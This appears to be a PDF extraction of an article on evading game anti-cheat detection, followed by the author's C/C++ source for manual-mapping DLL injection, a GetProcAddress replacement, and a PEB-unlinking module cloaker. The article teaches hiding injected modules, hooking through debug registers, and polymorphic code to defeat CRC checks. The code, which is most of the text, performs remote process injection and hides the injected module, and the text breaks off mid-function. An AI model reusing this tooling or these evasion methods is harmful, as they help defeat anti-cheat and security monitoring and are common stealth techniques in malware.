You are on page 1of 26

I - Introduction

As some of you are probably aware, a lot of game companies have recently been cracking
down on "hackers". They've implemented the entire spectrum of userland detection
mechanisms, ranging from the ridiculously simplistic to the incredibly complex. Over the
course of the past few weeks, I have devoted a lot of time to trying to find a general
solution to the problem of detection evasion. In some sense, it juxtaposes our position as
hackers, with that of the game companies. To exploit a game you have to find only one
flaw in their system whereas they have to design a system without any flaws. Similarly,
when we hide ourselves from their detection code, all they have to do is spot a single
mistake of ours, and it is us who are charged with devising and implementing the perfect
system. The below article is my attempt at accomplishing this. It is by no means complete
or perfect, but I'd like to think that it is a first step in that direction.

II - Detection of loaded modules

For this purpose i'm going to assume we need to load a module into the target(as we do in
the case of most game hacks or bots). We must recognize two distinct instances in which
a rogue module could be detected. Upon injection and then the rest of the time.

Nearly every dll injection method involves calling LoadLibrary at some point or another.
So a simple way to catch any modules you wish to detect is to hook LoadLibrary(or
LdrLoadDll, or whichever other lower level native
API's).

This problem can be solved in one of two ways. The first and simplest being
randomization of the modules name. Since a great many legitimate pieces of software
inject dll's into every process on the system(Trillian, AIM, hotkey software, etc..) no
reasonable detection system can use a "white list" design(detection that involves making
sure only verified modules are loaded, and considering anything that isn't explicitly good,
to be bad). So a blacklist must be used, which makes it so that randomized module
nomenclature is a perfectly acceptable solution to this detection technique.

The other method, which I implemented is to use one other method of dll injection, which
i've called "manual mapping". It seemed at first like a very daunting task to emulate the
windows PE loader and make everything
work correctly, but it turns out that it's not really all that difficult. My
ManualMap(appendix) code does just that. It could use a great many improvements, I
know, and in fact I have my own private vastly improved
version, but it's only a proof of concept.

After a module is injected into a running process, it can be detected in two ways. The first
is to scan the module list or call GetModuleHandle on modules that you consider
"hacks". This is mitigated by unlinking your
module from the list using a tool like CloakDll(appendix). Or using something like
ManualMap so the module is never linked in the first place. I think the second solution is
a bit better, but they are more or less the same.

The second way of detecting modules after they've been injected is much more clever. It
is to iterate through every page on the system(pages are aligned on 0x1000 bytes, so this
is actually feasible), and check it for
offending code signatures. This problem can be countered by using a modified dll loader
that randomizes the offset from the page boundaries where the real data actually starts.
However, a better solution I think is
to create two new blank pages enclosing your module. And then use VirtualProtect to set
the PAGE_GUARD flag on these two pages. The PAGE_GUARD flag will generate a
one-shot exception whenever the memory is accessed. Using an unhandled exception
filter, vectored exception handling, or a KiUserExceptionDispatcher hook(I recommend
the latter), you can catch these exceptions. This will let you know when you are being
scanned and allow you to do whatever you like to prevent the detection code from
spotting your module.

III - Hooks, Patches and CRC checks

To create any worthwhile hacks it is almost always necessary to modify the games code
in some way. However, code modifications are all too easy to detect, and until now
nobody has come up with a viable generalized solution to this problem. I'm afraid I can't
claim to have completely solved it, but I have found a way to tame it a bit.

I've come up with a way to hook functions without modifying any code in the target
process at all. The only drawback is that you can only simultaneously hook 4 functions.
My method is to use the debug registers (i.e. hardware breakpoints). You can see my
implementation of it in the CHook class in the appendix.

Now, debug registers can be detected quite easily. Anyone calling GetThreadContext with
CONTEXT_DEBUG_REGISTERS will see them, any exception handlers will get a
context structure that contains them, etc.. The solution to this is to hook
NtGetContextThread, NtSetContextThread, and KiUserExceptionDispatcher. Of course,
you'd have to use a patch hook for those. Since quite a few antivirus/anti-spam/firewall
programs hook functions like these to help "improve overall system security", it would be
unreasonable for a detection system to label you as a hacker based soley on
the presence of modified bytes in your system dll's. This means that you can hook up to 4
functions without fear of them being detected.

Even though they may not detect you based solely on the presence of those hooks in the
system modules, they still do leave you open to one potential avenue of detection. Which
is to locate your hooks in the system modules,
parse the jump patches and determine where they lead. A subsequent CRC of the hook
procedure would be more than enough for a positive identification.
There are again, two solutions to this problem. One is to hook by using an int03
breakpoint instruction, and then catching exceptions(this is also implemented in my
CHook class if you look hard enough, you'll spot it) and
redirecting them to the proper hook procedure. This would require you to either use a
standard jmp patch hook on KiUserExceptionDispatcher(which would sort of defeat the
purpose) or use one of the two standard forms of SEH.

The other solution which I consider much better, though slightly more difficult to
implement is to write a polymorph engine for your hook procedures. It doesn't have to be
anything too fancy, even randomized NOP-equivalent padding in-between actually
relevant instructions(NOP equivalents are instructions such as mov eax, eax). This would
make any
attempt at CRC checking your functions fail. I haven't yet implemented this method.
However, I might end up writing some PoC code for it at some point.

The easiest method of doing this comes from the area of shellcoding. As i'm sure you all
know, shellcode is often encrypted with a short runtime decrypting loader in order to
evade IDS signatures. That runtime decryption stub is very easy to write a simple asm
polymorph engine for. By simply placing NOP's in-between various instructions and
using randomized encryption keys that change every time it is encrypted or decrypted,
you could make it very difficult if not impossible to create any type of working signature
for your code, without sacrificing too much in the way of performance.

The debug registers are also quite useful for many other interesting purposes. You can
hook memory reads/writes as well as instruction fetches. This means you can create a
callback for memory modification(great for values in memory you want to monitor, this
means you don't have to poll them anymore). A complete description of them can be
found in the appendix.

Another point to consider is that instead of attempting to detect your API hooks, they
could simply disable them by patching over your hooks with the original bytes. This is
easy to do and portable enough for a game company to consider implementing, since the
first few bytes of most API's don't often change between versions of Windows. The
solution to this problem requires us to realize that before being able to write to any
memory in the code section of a process image, you'd have to call VirtualProtect to
change it's page protection temporarily. So, a hook on NtProtectVirtualMemory should
prevent them from simply overwriting all of your hard work.

IV - Conclusion

In sum, it is possible to inject a module and set up to 4 completely undetectable(from


ring3) hooks. There may be some holes in the specifics I presented, but the general theory
i've described here can be applied to achieve that result. The above is my attempt at the
most complete anti-detection system that can be created from userland. I'm sure you will
all be able to add your own insights onto what i've said, and I sincerely hope you do. The
solution is not in secret security systems, like many of those currently involved in
gamehacking seem to think...and as all closed source software vendors have found out.
And game hackers above anyone else, should know that. Because you're all reverse
engineers. You live to defeat security through obscurity...don't fall into the same trap
yourselves.

V - Appendix

ManualMap:
http://www.darawk.com/Code/ManualMap.cpp

Debug registers:
http://pdos.csail.mit.edu/6.828/2005/readings/i386/s12_02.htm

CloakDll:
http://www.darawk.com/Code/CloakDll.cpp

CHook:
http://www.darawk.com/Code/CHook.h
http://www.darawk.com/Code/CHook.cpp
// ManualMap - by Darawk
// Featured @ www.RealmGX.com & www.Darawk.com
//
// The purpose of ManualMap is to "manually map" a dll
// module into a remote process's address space. This
// means that instead of just manipulating the remote
// process into calling the LoadLibrary function, we
// have our own emulation of what LoadLibrary does
// without all those annoying detectability issues ^^.
// The advantage of this method over using something
// like my CloakDll function, is that this method never
// has to call a function like LoadLibrary inside the
// remote process. Since LoadLibrary can be hooked,
// the dll could still be caught at the injection stage.
// Or possibly also through the weakness I discussed in
// the comment header of that file, which is not present
// when using this technique.
#include <windows.h>
#include <tlhelp32.h>
#include <shlwapi.h>

#pragma comment(lib, "shlwapi.lib")

#define IMAGE_DIRECTORY_ENTRY_IMPORT 1
#define IMAGE_DIRECTORY_ENTRY_BASERELOC 5

// Pietrek's macro
//
// MakePtr is a macro that allows you to easily add to values (including
// pointers) together without dealing with C's pointer arithmetic. It
// essentially treats the last two parameters as DWORDs. The first
// parameter is used to typecast the result to the appropriate pointer type.
#define MakePtr( cast, ptr, addValue ) (cast)( (DWORD_PTR)(ptr) +
(DWORD_PTR)(addValue))

// This one is mine, but obviously..."adapted" from matt's original idea =p


#define MakeDelta(cast, x, y) (cast) ( (DWORD_PTR)(x) - (DWORD_PTR)(y))

bool MapRemoteModule(unsigned long, char *);

unsigned long GetProcessIdByName(char *);


HMODULE GetRemoteModuleHandle(unsigned long, char *);
FARPROC GetRemoteProcAddress(unsigned long, char *, char *);

bool FixImports(unsigned long, void *, IMAGE_NT_HEADERS *,


IMAGE_IMPORT_DESCRIPTOR *);
bool FixRelocs(void *, void *, IMAGE_NT_HEADERS *,
IMAGE_BASE_RELOCATION *, unsigned int);
bool MapSections(HANDLE, void *, void *, IMAGE_NT_HEADERS *);

PIMAGE_SECTION_HEADER GetEnclosingSectionHeader(DWORD,
PIMAGE_NT_HEADERS);
LPVOID GetPtrFromRVA(DWORD, PIMAGE_NT_HEADERS, PBYTE);

// Stub that calls the Dll from within the remote process.
// This is necessary because a DllMain function takes 3
// arguments, and CreateRemoteThread can pass only 1.
__declspec(naked) void DllCall_stub(HMODULE hMod)
{
_asm
{
push 0
push 1
push [esp+0Ch] // Pointer to the hMod argument
mov eax, 0xDEADBEEF // Patch this in with the real value at run-time

call eax // MSVC++ doesn't like direct absolute calls, so we have to be


// clever about it.

ret // Don't have to clean up the stack because the calling function
// is just going to call ExitThread() immediately after this
// function returns.
}
}

// Marker for the end of the DllCall_stub function


__declspec(naked) void DC_stubend(void) { }

int main(int argc, char **argv)


{
// Just my test values...Cmdline.dll is a plugin that comes with
// Olly Debug 1.10
MapRemoteModule(GetProcessIdByName("notepad.exe"), "Cmdline.dll");
return 0;
}

bool MapRemoteModule(unsigned long pId, char *module)


{
IMAGE_DOS_HEADER *dosHd;
IMAGE_NT_HEADERS *ntHd;

HANDLE hFile = CreateFile(module,


GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);

if(hFile == INVALID_HANDLE_VALUE)
return false;

unsigned int fSize;

if(GetFileAttributes(module) & FILE_ATTRIBUTE_COMPRESSED)


fSize = GetCompressedFileSize(module, NULL);
else
fSize = GetFileSize(hFile, NULL);

unsigned char *dllBin = new unsigned char[fSize];


unsigned int nBytes;

ReadFile(hFile, dllBin, fSize, (LPDWORD)&nBytes, FALSE);


CloseHandle(hFile);

// Every PE file contains a little DOS stub for backwards compatibility


// it's only real relevance is that it contains a pointer to the actual
// PE header.
dosHd = MakePtr(IMAGE_DOS_HEADER *, dllBin, 0);

// Make sure we got a valid DOS header


if(dosHd->e_magic != IMAGE_DOS_SIGNATURE)
{
delete dllBin;
return false;
}

// Get the real PE header from the DOS stub header


ntHd = MakePtr(IMAGE_NT_HEADERS *, dllBin, dosHd->e_lfanew);

// Verify the PE header


if(ntHd->Signature != IMAGE_NT_SIGNATURE)
{
delete dllBin;
return false;
}

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pId);


if(!hProcess)
return false;

// Allocate space for the module in the remote process


void *moduleBase = VirtualAllocEx(hProcess,
NULL,
ntHd->OptionalHeader.SizeOfImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);

// Make sure we got the memory space we wanted


if(!moduleBase)
return false;

// Allocate space for our stub


void *stubBase = VirtualAllocEx(hProcess,
NULL,
MakeDelta(SIZE_T, DC_stubend, DllCall_stub),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);

// Make sure we got the memory space we wanted


if(!stubBase)
return false;

// Fix up the import table of the new module


IMAGE_IMPORT_DESCRIPTOR *impDesc = (IMAGE_IMPORT_DESCRIPTOR
*)GetPtrFromRVA(
(DWORD)(ntHd-
>OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAdd
ress),
ntHd,
(PBYTE)dllBin);

if(ntHd-
>OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size)
FixImports(pId,
(unsigned char *)dllBin,
ntHd,
impDesc);

// Fix "base relocations" of the new module. Base relocations are places
// in the module that use absolute addresses to reference data. Since
// the base address of the module can be different at different times,
// the base relocation data is necessary to make the module loadable
// at any address.
IMAGE_BASE_RELOCATION *reloc = (IMAGE_BASE_RELOCATION
*)GetPtrFromRVA(
(DWORD)(ntHd-
>OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Virtua
lAddress),
ntHd,
(PBYTE)dllBin);

if(ntHd-
>OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size)
FixRelocs(dllBin,
moduleBase,
ntHd,
reloc,
ntHd-
>OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size);

// Write the PE header into the remote process's memory space


WriteProcessMemory(hProcess,
moduleBase,
dllBin,
ntHd->FileHeader.SizeOfOptionalHeader + sizeof(ntHd->FileHeader) + sizeof(ntHd-
>Signature),
(SIZE_T *)&nBytes);

// Map the sections into the remote process(they need to be aligned


// along their virtual addresses)
MapSections(hProcess, moduleBase, dllBin, ntHd);

// Change the page protection on the DllCall_stub function from


PAGE_EXECUTE_READ
// to PAGE_EXECUTE_READWRITE, so we can patch it.
VirtualProtect((LPVOID)DllCall_stub,
MakeDelta(SIZE_T, DC_stubend, DllCall_stub),
PAGE_EXECUTE_READWRITE,
(DWORD *)&nBytes);

// Patch the stub so it calls the correct address


*MakePtr(unsigned long *, DllCall_stub, 9) =
MakePtr(unsigned long, moduleBase, ntHd->OptionalHeader.AddressOfEntryPoint);

// Write the stub into the remote process


WriteProcessMemory(hProcess,
stubBase,
(LPVOID)DllCall_stub,
MakeDelta(SIZE_T, DC_stubend, DllCall_stub),
(SIZE_T *)&nBytes);

// Execute our stub in the remote process


CreateRemoteThread(hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)stubBase,
moduleBase, // Pass the base address of the module as the argument to the stub.
// All a module handle is, is the base address of the module(except
// in windows CE), so we're really passing a handle to the module
// so that it can refer to itself, create dialogs, etc..
0,
NULL);

delete dllBin;
return true;
}

bool MapSections(HANDLE hProcess, void *moduleBase, void *dllBin,


IMAGE_NT_HEADERS *ntHd)
{
IMAGE_SECTION_HEADER *header = IMAGE_FIRST_SECTION(ntHd);
unsigned int nBytes = 0;
unsigned int virtualSize = 0;
unsigned int n = 0;

// Loop through the list of sections


for(unsigned int i = 0; ntHd->FileHeader.NumberOfSections; i++)
{
// Once we've reached the SizeOfImage, the rest of the sections
// don't need to be mapped, if there are any.
if(nBytes >= ntHd->OptionalHeader.SizeOfImage)
break;

WriteProcessMemory(hProcess,
MakePtr(LPVOID, moduleBase, header->VirtualAddress),
MakePtr(LPCVOID, dllBin, header->PointerToRawData),
header->SizeOfRawData,
(LPDWORD)&n);

virtualSize = header->VirtualAddress;
header++;
virtualSize = header->VirtualAddress - virtualSize;
nBytes += virtualSize;
// Set the proper page protections for this section.
// This really could be skipped, but it's not that
// hard to implement and it makes it more like a
// real loader.
VirtualProtectEx(hProcess,
MakePtr(LPVOID, moduleBase, header->VirtualAddress),
virtualSize,
header->Characteristics & 0x00FFFFFF,
NULL);
}

return true;
}

bool FixImports(unsigned long pId, void *base, IMAGE_NT_HEADERS *ntHd,


IMAGE_IMPORT_DESCRIPTOR *impDesc)
{
char *module;

// Loop through all the required modules


while((module = (char *)GetPtrFromRVA((DWORD)(impDesc->Name), ntHd,
(PBYTE)base)))
{
// If the library is already loaded(like kernel32.dll or ntdll.dll) LoadLibrary will
// just return the handle to that module.
HMODULE localMod = LoadLibrary(module);

// If the module isn't loaded in the remote process, we recursively call the
// module mapping code. This has the added benefit of ensuring that any of
// the current modules dependencies will be just as invisble as this one.
if(!GetRemoteModuleHandle(pId, module))
MapRemoteModule(pId, module);

// Lookup the first import thunk for this module


// NOTE: It is possible this module could forward functions...which is something
// that I really should handle. Maybe i'll add support for forwared functions
// a little bit later.
IMAGE_THUNK_DATA *itd =
(IMAGE_THUNK_DATA *)GetPtrFromRVA((DWORD)(impDesc->FirstThunk),
ntHd, (PBYTE)base);

while(itd->u1.AddressOfData)
{
IMAGE_IMPORT_BY_NAME *iibn;
iibn = (IMAGE_IMPORT_BY_NAME *)GetPtrFromRVA((DWORD)(itd-
>u1.AddressOfData), ntHd, (PBYTE)base);

itd->u1.Function = MakePtr(DWORD, GetRemoteProcAddress(pId,


module,
(char *)iibn->Name), 0);

itd++;
}
impDesc++;
}

return true;
}

bool FixRelocs(void *base, void *rBase, IMAGE_NT_HEADERS *ntHd,


IMAGE_BASE_RELOCATION *reloc, unsigned int size)
{
unsigned long ImageBase = ntHd->OptionalHeader.ImageBase;
unsigned int nBytes = 0;

unsigned long delta = MakeDelta(unsigned long, rBase, ImageBase);

while(1)
{
unsigned long *locBase =
(unsigned long *)GetPtrFromRVA((DWORD)(reloc->VirtualAddress), ntHd,
(PBYTE)base);
unsigned int numRelocs = (reloc->SizeOfBlock -
sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);

if(nBytes >= size) break;

unsigned short *locData = MakePtr(unsigned short *, reloc,


sizeof(IMAGE_BASE_RELOCATION));
for(unsigned int i = 0; i < numRelocs; i++)
{
if(((*locData >> 12) & IMAGE_REL_BASED_HIGHLOW))
*MakePtr(unsigned long *, locBase, (*locData & 0x0FFF)) += delta;

locData++;
}

nBytes += reloc->SizeOfBlock;
reloc = (IMAGE_BASE_RELOCATION *)locData;
}
return true;
}

FARPROC GetRemoteProcAddress(unsigned long pId, char *module, char *func)


{
HMODULE remoteMod = GetRemoteModuleHandle(pId, module);
HMODULE localMod = GetModuleHandle(module);

// Account for potential differences in base address


// of modules in different processes.
unsigned long delta = MakeDelta(unsigned long, remoteMod, localMod);
return MakePtr(FARPROC, GetProcAddress(localMod, func), delta);
}

unsigned long GetProcessIdByName(char *process)


{
PROCESSENTRY32 pe;
HANDLE thSnapshot;
BOOL retval, ProcFound = false;

thSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if(thSnapshot == INVALID_HANDLE_VALUE)
{
MessageBox(NULL, "Error: unable to create toolhelp snapshot", "Loader", NULL);
return false;
}

pe.dwSize = sizeof(PROCESSENTRY32);

retval = Process32First(thSnapshot, &pe);

while(retval)
{
if(StrStrI(pe.szExeFile, process) )
{
ProcFound = true;
break;
}

retval = Process32Next(thSnapshot,&pe);
pe.dwSize = sizeof(PROCESSENTRY32);
}

return pe.th32ProcessID;
}

HMODULE GetRemoteModuleHandle(unsigned long pId, char *module)


{
MODULEENTRY32 modEntry;
HANDLE tlh = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pId);

modEntry.dwSize = sizeof(MODULEENTRY32);
Module32First(tlh, &modEntry);

do
{
if(!stricmp(modEntry.szModule, module))
return modEntry.hModule;
modEntry.dwSize = sizeof(MODULEENTRY32);
}
while(Module32Next(tlh, &modEntry));

return NULL;
}

// Matt Pietrek's function


PIMAGE_SECTION_HEADER GetEnclosingSectionHeader(DWORD rva,
PIMAGE_NT_HEADERS pNTHeader)
{
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(pNTHeader);
unsigned int i;

for ( i = 0; i < pNTHeader->FileHeader.NumberOfSections; i++, section++ )


{
// This 3 line idiocy is because Watcom's linker actually sets the
// Misc.VirtualSize field to 0. (!!! - Retards....!!!)
DWORD size = section->Misc.VirtualSize;
if ( 0 == size )
size = section->SizeOfRawData;

// Is the RVA within this section?


if ( (rva >= section->VirtualAddress) &&
(rva < (section->VirtualAddress + size)))
return section;
}

return 0;
}

// This function is also Pietrek's


LPVOID GetPtrFromRVA( DWORD rva, IMAGE_NT_HEADERS *pNTHeader,
PBYTE imageBase )
{
PIMAGE_SECTION_HEADER pSectionHdr;
INT delta;

pSectionHdr = GetEnclosingSectionHeader( rva, pNTHeader );


if ( !pSectionHdr )
return 0;

delta = (INT)(pSectionHdr->VirtualAddress-pSectionHdr->PointerToRawData);
return (PVOID) ( imageBase + rva - delta );
}
// GetProcAddress2 - by Darawk
// Featured @ www.RealmGX.com & www.Darawk.com
//
// GetProcAddress2 is essentially identical to the
// windows API function GetProcAddress, with one
// key difference. GetProcAddress2 does not check
// to make sure the module handle that's passed to
// it is in the loaded modules list. GetProcAddress2
// is designed to be used in conjunction with ManualMap
// or CloakDll. It allows you to access functions that
// have been exported from a dll loaded by ManualMap or
// cloaked by CloakDll. This functionality is necessary
// for plugin-based applications and late-binding functions.
#include <windows.h>

#define IMAGE_DIRECTORY_ENTRY_EXPORT 0

// Pietrek's macro
//
// MakePtr is a macro that allows you to easily add to values (including
// pointers) together without dealing with C's pointer arithmetic. It
// essentially treats the last two parameters as DWORDs. The first
// parameter is used to typecast the result to the appropriate pointer type.
#define MakePtr( cast, ptr, addValue ) (cast)( (DWORD_PTR)(ptr) +
(DWORD_PTR)(addValue))

// This one is mine, but obviously..."adapted" from matt's original idea =p


#define MakeDelta(cast, x, y) (cast) ( (DWORD_PTR)(x) - (DWORD_PTR)(y))

// My modified version of pietrek's function, to work with PE files that have


// already been mapped into memory.
LPVOID GetPtrFromRVA( DWORD, IMAGE_NT_HEADERS *, PBYTE, bool);

FARPROC GetProcAddress2(HMODULE hMod, char *func)


{
IMAGE_DOS_HEADER *dosHd;
IMAGE_NT_HEADERS *ntHd;
IMAGE_EXPORT_DIRECTORY *ied;
char **names;
unsigned short *ordinals;
FARPROC *funcs;

// Make sure we got a valid pointer


if(!hMod || hMod == INVALID_HANDLE_VALUE)
return NULL;
dosHd = (IMAGE_DOS_HEADER *)hMod;

// Verify the DOS header


if(dosHd->e_magic != IMAGE_DOS_SIGNATURE)
return NULL;

ntHd = MakePtr(IMAGE_NT_HEADERS *, hMod, dosHd->e_lfanew);

// Verify the NT header


if(ntHd->Signature != IMAGE_NT_SIGNATURE)
return NULL;

ied = (IMAGE_EXPORT_DIRECTORY *)GetPtrFromRVA((DWORD)(ntHd-


>OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAdd
ress),
ntHd,
(PBYTE)hMod, true);

names = (char **)GetPtrFromRVA(ied->AddressOfNames, ntHd, (PBYTE)hMod,


true);
ordinals = (unsigned short *)GetPtrFromRVA(ied->AddressOfNameOrdinals, ntHd,
(PBYTE)hMod, true);
funcs = (FARPROC *)GetPtrFromRVA(ied->AddressOfFunctions, ntHd,
(PBYTE)hMod, true);

unsigned int i;
for(i = 0; i < ied->NumberOfNames; i++)
if(!stricmp((char *)GetPtrFromRVA((DWORD)names[i], ntHd, (PBYTE)hMod,
true), func))
break;

if(i >= ied->NumberOfNames)


return NULL;

return MakePtr(FARPROC, hMod, funcs[ordinals[i]]);


}

// Matt Pietrek's function


PIMAGE_SECTION_HEADER GetEnclosingSectionHeader(DWORD rva,
PIMAGE_NT_HEADERS pNTHeader)
{
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(pNTHeader);
unsigned int i;

for ( i = 0; i < pNTHeader->FileHeader.NumberOfSections; i++, section++ )


{
// This 3 line idiocy is because Watcom's linker actually sets the
// Misc.VirtualSize field to 0. (!!! - Retards....!!!)
DWORD size = section->Misc.VirtualSize;
if ( 0 == size )
size = section->SizeOfRawData;

// Is the RVA within this section?


if ( (rva >= section->VirtualAddress) &&
(rva < (section->VirtualAddress + size)))
return section;
}

return 0;
}

unsigned long GetMappedSectionOffset(IMAGE_NT_HEADERS *ntHd,


IMAGE_SECTION_HEADER *seHd, void *base)
{
IMAGE_SECTION_HEADER *section = IMAGE_FIRST_SECTION(ntHd);
unsigned int i;
unsigned long offset = MakeDelta(unsigned long, section, base);

for(i = 0; i < ntHd->FileHeader.NumberOfSections; i++, section++)


{
if(section->Name == seHd->Name)
{
offset = MakeDelta(unsigned long, section->VirtualAddress, section-
>PointerToRawData);
break;
}

//offset += (section->SizeOfRawData > ntHd->OptionalHeader.SectionAlignment ?


// section->SizeOfRawData - ntHd->OptionalHeader.SectionAlignment :
// ntHd->OptionalHeader.SectionAlignment - section->SizeOfRawData);
}

return offset;
}

// This function is also Pietrek's


LPVOID GetPtrFromRVA( DWORD rva, IMAGE_NT_HEADERS *pNTHeader,
PBYTE imageBase, bool mapped )
{
PIMAGE_SECTION_HEADER pSectionHdr;
INT delta;
unsigned long offset = 0;
pSectionHdr = GetEnclosingSectionHeader( rva, pNTHeader );

if(mapped)
offset = GetMappedSectionOffset(pNTHeader, pSectionHdr, imageBase);

if ( !pSectionHdr )
return 0;

delta = (INT)(pSectionHdr->VirtualAddress-pSectionHdr->PointerToRawData);
return (PVOID) ( imageBase + rva - delta + offset);
}
// CloakDll - by Darawk
// Featured @ www.RealmGX.com & www.Darawk.com
//
// The purpose of CloakDll is to allow the user to hide any loaded
// module from the windows API. It works by accessing the modules
// list stored in the PEB, and subsequently unlinking the module
// in question from all 4 of the doubly-linked lists that it's a
// node of. It then zeroes out the structure and the path/file
// name of the module in memory. So that even if the memory where
// the data about this module used to reside is scanned there will
// still be no conclusive evidence of it's existence. At present
// there is only one weakness that I have found in this method.
// I'll describe how it may still be possible to discover at least
// that a module has been hidden, after a brief introduction to how
// the GetModuleHandle function works.
//
// *The following information is not documented by Microsoft. This
// information consists of my findings while reverse-engineering
// these functions and some of them may be incorrect and/or
// subject to change at any time(and is almost definitely different
// in different versions of windows, and maybe even in different
// service packs). I've tried to make my code as version independant
// as possible but certain parts of it may not work on older versions
// of windows. I've tested it on XP SP2 and there i'll guarantee
// that it works, but on any other versions of windows, it's anyone's
// guess.*
//
// GetModuleHandle eventually calls GetModuleHandleExW, which in
// turn accesses the native API function GetDllHandle, which calls
// GetDllHandleEx. And it's not until here, that we actually see
// anything even begin to look up information about loaded modules.
// Whenever GetModuleHandle is called, it saves the address of the
// last ModuleInfoNode structure that it found in a global variable
// inside of ntdll. This global variable is the first thing
// checked on all subsequent calls to GetModuleHandle. If the
// handle being requested is not the one that was requested the last
// time GetDllHandleEx calls the LdrpCheckForLoadedDll function.
// LdrpCheckForLoadedDll begins by converting the first letter of the
// module name being requested to uppercase, decrementing it by 1 and
// AND'ing it with 0x1F. This effectively creates a 0-based index
// beginning with the letter 'A'. The purpose of this is so that
// the module can first be looked up in a hash table. The hash table
// consists entirely of LIST_ENTRY structures. One for each letter
// 'A' through 'Z'. The LIST_ENTRY structure points to the first
// and last modules loaded that begin with the letter assigned to
// that entry in the hash table. The Flink member being the first
// loaded beginning with that letter, and the Blink member being the
// last. The code scans through this list until it finds the module
// that it's looking for. On the off-chance that it doesn't find it
// there, or if the boolean argument UseLdrpHashTable is set to false
// it will begin going through one of the other three lists. If, at
// this point it still doesn't find it, it will admit defeat and return
// 0 for the module handle.
//
// Weakness: The global variable inside ntdll that caches the pointer
// to the last module looked up could be used to at least detect the
// fact that a module has been hidden. The LdrUnloadDll() function
// will set this value to 0 when it unloads a module, so if the cache
// variable points to an empty structure, the only logical conclusion
// would be a hidden module somewhere in the process. This could be
// resolved by using the static address of this variable and simply
// zeroing it out. However, this would make the code specific to only
// one version of windows. You could also scan the address space of
// ntdll for any occurences of the base address(aka module handle)
// of the module you're hiding. However, this would be slow and it
// would clutter up the CloakDll_stub function, because it'd have to
// all be done manually. And i'd have to either use a static base
// address for ntdll...which would probably work on most versions
// of windows, however I really don't like using static addresses.
// Or i'd have to manually locate it by writing my own unicode
// string comparison code, to lookup ntdll in the list by it's name.
// Realistically though anyone trying to detect this way would run
// into the same problem. That their code would not be version
// independant. So, it's unlikely to see any largescale deployment
// of such a technique. However, anyone who would like to solve
// this problem themselves is perfectly free, and encouraged to do
// so.

#include <windows.h>
#include <winnt.h>
#include <tlhelp32.h>
#include <shlwapi.h>

#pragma comment(lib, "shlwapi.lib")

#define UPPERCASE(x) if((x) >= 'a' && (x) <= 'z') (x) -= 'a' - 'A'
#define UNLINK(x) (x).Blink->Flink = (x).Flink; \
(x).Flink->Blink = (x).Blink;

#pragma pack(push, 1)
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef struct _ModuleInfoNode


{
LIST_ENTRY LoadOrder;
LIST_ENTRY InitOrder;
LIST_ENTRY MemoryOrder;
HMODULE baseAddress; // Base address AKA module handle
unsigned long entryPoint;
unsigned int size; // Size of the modules image
UNICODE_STRING fullPath;
UNICODE_STRING name;
unsigned long flags;
unsigned short LoadCount;
unsigned short TlsIndex;
LIST_ENTRY HashTable; // A linked list of any other modules that have the same
first letter
unsigned long timestamp;
} ModuleInfoNode, *pModuleInfoNode;

typedef struct _ProcessModuleInfo


{
unsigned int size; // Size of a ModuleInfo node?
unsigned int initialized;
HANDLE SsHandle;
LIST_ENTRY LoadOrder;
LIST_ENTRY InitOrder;
LIST_ENTRY MemoryOrder;
} ProcessModuleInfo, *pProcessModuleInfo;

#pragma pack(pop)

bool CloakDll_stub(HMODULE);
void CD_stubend();

bool CloakDll(char *, char *);


unsigned long GetProcessIdFromProcname(char *);
HMODULE GetRemoteModuleHandle(unsigned long, char *);

int main(int argc, char **argv)


{
CloakDll("notepad.exe", "kernel32.dll");
return 0;
}

bool CloakDll(char *process, char *dllName)


{
PathStripPath(dllName);

unsigned long procId;


procId = GetProcessIdFromProcname(process);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procId);

// Calculate the length of the stub by subtracting it's address


// from the beginning of the function directly ahead of it.
//
// NOTE: If the compiler compiles the functions in a different
// order than they appear in the code, this will not work as
// it's supposed to. However, most compilers won't do that.
unsigned int stubLen = (unsigned long)CD_stubend - (unsigned long)CloakDll_stub;

// Allocate space for the CloakDll_stub function


void *stubAddress = VirtualAllocEx(hProcess,
NULL,
stubLen,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);

// Write the stub's code to the page we allocated for it


WriteProcessMemory(hProcess, stubAddress, CloakDll_stub, stubLen, NULL);

HMODULE hMod = GetRemoteModuleHandle(procId, dllName);

// Create a thread in the remote process to execute our code


CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)stubAddress, hMod, 0, NULL);

// Clean up after ourselves, so as to leave as little impact as possible


// on the remote process
VirtualFreeEx(hProcess, stubAddress, stubLen, MEM_RELEASE);
return true;
}

bool CloakDll_stub(HMODULE hMod)


{
ProcessModuleInfo *pmInfo;
ModuleInfoNode *module;

_asm
{
mov eax, fs:[18h] // TEB
mov eax, [eax + 30h] // PEB
mov eax, [eax + 0Ch] // PROCESS_MODULE_INFO
mov pmInfo, eax
}

module = (ModuleInfoNode *)(pmInfo->LoadOrder.Flink);

while(module->baseAddress && module->baseAddress != hMod)


module = (ModuleInfoNode *)(module->LoadOrder.Flink);

if(!module->baseAddress)
return false;

// Remove the module entry from the list here


